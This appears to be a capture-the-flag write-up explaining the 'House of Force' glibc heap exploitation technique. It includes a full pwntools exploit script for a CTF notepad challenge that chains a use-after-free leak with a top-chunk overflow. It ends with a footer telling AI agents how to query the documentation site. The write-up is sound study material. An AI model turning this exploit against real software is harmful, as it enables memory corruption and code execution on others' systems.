# House of Force

### Overview

Requirements

* The ability to override top chunk size limit with a overflowing limit `0xFFFFFFFFFF`, usually done with a heap overflow
* Be able to control the size of the heap allocation - program specific - usually able to
* glibc≤2.29 (was patched)

> What is the Top Chunk?
>
> It is the chunk which borders the top of an arena. While servicing 'malloc' requests, it is used as the last resort. If still more size is required, it can grow using the `sbrk` system call. The `PREV_INUSE` flag is always set for the top chunk.

Steps

1. Utilizing a heap overflow, overflow the size of the top chunk header
2. Calculate the distance between the address of the top chunk (get a leak somewhere via `UAF`)
   1. This is done so that a malloc with that size will be performed which will **move the top chunk to that position**
3. Allocate the size of the distance minus `0x24` (64 bits) or `0x10` (32 bits) to account for metadata of the top chunk and new chunk
4. Do another malloc to get a chunk at the target address

What can you do with this?

* Overwrite stack/heap variables
* Pop shells by overwriting hooks `__malloc_hook` with `one_gadget`

### Example 1 - Initigri CTF 2024 1337UP

1. Binary has a UAF as it does not null the pointer after freeing and allows for modification of freed memory via `edit_note`
2. Binary also has a heap overflow in the `edit_note` function

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./notepad_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe
# context.log_level = 'debug'
p = remote('notepad.ctf.intigriti.io', 1341)
# gdb.attach(p)

def create_note(id, size, contents):
    p.recvuntil(b'> ')
    p.sendline(b'1')
    p.recvuntil(b'> ')
    p.sendline(id)
    p.recvuntil(b'> ')
    p.sendline(size)
    p.recvuntil(b'> ')
    p.sendline(contents)

def delete_note(id):
    p.recvuntil(b'> ')
    p.sendline(b'4')
    p.recvuntil(b'> ')
    p.sendline(id)

def edit_note(id, contents):
    p.recvuntil(b'> ')
    p.sendline(b'3')
    p.recvuntil(b'> ')
    p.sendline(id)
    p.recvuntil(b'> ')
    p.sendline(contents)

def view_note(id):
    p.recvuntil(b'> ')
    p.sendline(b'2')
    p.recvuntil(b'> ')
    p.sendline(id)
  

p.recvuntil(b'Here a gift: ')
base_address = int(p.recvline().strip(b'\\n'),16) - exe.sym['main']
log.info(f'++ Base Address of ELF : {hex(base_address)}')
key_address = base_address + exe.sym['key']
log.info(f'++ Address of Key variable : {hex(key_address)}')

payload = b'A' * 24
payload += p64(0xffffffffffffffff)

create_note(b'0', b'20', b'A'*20)
create_note(b'1', b'20', b'B'*20)
delete_note(b'0')
delete_note(b'1')
view_note(b'1')
heap_leak = int.from_bytes(p.recvline().strip(b'\\n'), "little")
#Get Heap Leak via UAF - (1)
log.info(f'++ Address of Chunk Zero : {hex(heap_leak)}')
heap_base = heap_leak & ~0xFFF
log.info(f'++ Address of Heap Base : {hex(heap_base)}')
top_chunk = heap_base + 0x290
log.info(f'++ Address of Top Chunk : {hex(top_chunk)}')
#Get Distance between address you want to override and top chunk - (2)
delta_distance = key_address - top_chunk
log.info(f'++ Address of Delta Distance : {hex(delta_distance)}')
#Account for header metadata for top chunk as well as chunk to be allocated - (3)
malloc_size = delta_distance - 0x20 - 0x4 
edit_note(b'1',  payload)
#Malloc to allocate chunk at specified memory address with padding - (4)
create_note(b'3', str(malloc_size).encode('utf-8'), b'')
create_note(b'4', b'40', b'A' * 12 + p64(0xCAFEBABE))

p.interactive()
 
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://xenon-2.gitbook.io/writeups/binary-exploitation/heap/house-of-force.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
